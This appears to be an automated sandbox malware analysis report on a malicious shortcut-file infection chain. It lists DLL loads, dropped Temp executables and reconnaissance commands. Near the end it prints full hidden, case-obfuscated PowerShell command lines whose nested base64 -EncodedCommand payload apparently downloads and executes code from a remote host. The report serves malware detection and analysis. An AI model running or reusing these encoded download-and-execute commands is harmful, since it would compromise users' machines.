Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: userenv.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: sspicli.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: m9c7iq9nzP.lnk

LNK file: ..\..\..\..\..\..\Windows\system32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source:	Binary string: C:\Windows\mscli.pdb&? source: powershell.exe, 0000000C.00000002.4898775134.000001C03B109000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Windows\mscorlib.pdbpdblib.pdb7 source: powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("Y205alpYTnpaV1FnWVc1a0lITmhkbVZrSUdGeklDUlBkWFJ3ZFhSR2FXeGxVR0YwYUNJTkNpQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSMGNuVmxEUW9nSUNBZ2ZTQmpZWFJqYUNCN0RRb2dJQ0FnSUNBZ0lGTkZTVWhIVjA1TlJGRWdKRjh1Ulhoal

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAH